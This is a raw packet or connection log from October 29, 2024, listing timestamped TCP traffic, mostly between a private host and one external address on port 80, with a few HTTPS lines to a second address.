Oct 29, 2024 06:59:37.376063108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376071930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376080036 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376097918 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376100063 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376116991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376121044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376132011 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376140118 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376153946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376172066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376178980 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376193047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376209974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376211882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376224041 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376231909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376250029 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376265049 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376269102 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376295090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376327038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376333952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376346111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376363039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376384020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376391888 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376405001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376419067 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376426935 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376441002 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376446962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376463890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376467943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376475096 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376487970 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376502991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376522064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376526117 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376543045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376559973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376562119 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376579046 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376593113 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376595020 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376612902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376631975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376640081 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376653910 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376658916 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376674891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376678944 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376693964 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376694918 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376712084 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376715899 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376732111 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376739979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376751900 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376760960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376776934 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376780033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376797915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376806021 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376817942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376823902 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376835108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376837015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376854897 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376857042 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376868010 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376877069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376893997 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376897097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376913071 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376919031 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376934052 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376940966 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.376960993 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.376986980 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.421415091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.421448946 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.421483040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.421499014 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.421499968 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.421535015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.421570063 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.421576977 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.421612024 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.444437027 CET	443	49913	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.445004940 CET	49913	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.445025921 CET	443	49913	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.445491076 CET	49913	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.445498943 CET	443	49913	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.490751982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.490782022 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.490797997 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.490819931 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.490820885 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.490835905 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.490835905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.490853071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.490868092 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.490870953 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.490885973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.490909100 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.490971088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.490993023 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491007090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491023064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491033077 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491044044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491045952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491065979 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491069078 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491084099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491090059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491097927 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491106033 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491116047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491122961 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491131067 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491144896 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491146088 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491161108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491163015 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491175890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491177082 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491192102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491204023 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491208076 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491224051 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491225958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491239071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491247892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491254091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491276026 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491277933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491293907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491301060 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491309881 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491333008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491336107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491336107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491348982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491358995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491364956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491368055 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491379976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491380930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491395950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491401911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491411924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491414070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491429090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491431952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491444111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491455078 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491458893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491461992 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491472960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491482019 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491487026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491501093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491503000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491511106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491518021 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491530895 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491533041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491547108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491554976 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491564989 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491575956 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491579056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491594076 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491600990 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491611958 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491626978 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491626978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491626978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491642952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491643906 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491660118 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491662979 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491677046 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491683960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491693974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491698980 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491714954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491719007 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491736889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491735935 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491744995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491760015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491772890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491775990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491791010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491794109 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491806030 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491812944 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491822004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491826057 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491842985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491844893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491859913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491863012 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491878033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491879940 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491893053 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491904020 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491910934 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491919041 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491926908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491938114 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491941929 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491956949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491961002 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491971970 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.491985083 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.491987944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492002964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492012978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492032051 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492053986 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492233038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492278099 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492343903 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492358923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492372990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492384911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492388010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492402077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492404938 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492424965 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492425919 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492441893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492444038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492458105 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492466927 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492472887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492480040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492487907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492502928 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492511034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492511988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492527962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492530107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492542982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492552042 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492558956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492566109 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492587090 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492594957 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492599964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492614031 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492630005 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492641926 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492654085 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492666960 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492669106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492682934 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492692947 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492697954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492713928 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492722034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492734909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492755890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492760897 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492770910 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492784977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492794991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492799997 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492813110 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492814064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492824078 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492830038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492842913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492842913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492858887 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492858887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492882967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492886066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492896080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492904902 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492911100 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492918968 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492927074 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492937088 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492942095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492958069 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492961884 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492964983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492985010 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.492995024 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.492996931 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493009090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493022919 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493046045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493046999 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493063927 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493071079 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493079901 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493091106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493094921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493108988 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493114948 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493119955 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493133068 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493139029 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493146896 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493155003 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493163109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493170023 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493179083 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493192911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493201017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493218899 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493231058 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493246078 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493285894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493299961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493324041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493335962 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493340015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493355036 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493362904 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493371964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493376970 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493390083 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493391991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493411064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493428946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493436098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493451118 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493464947 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493480921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493493080 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493495941 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493509054 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493510008 CET	80	49888	185.215.113.206	192.168.2.5
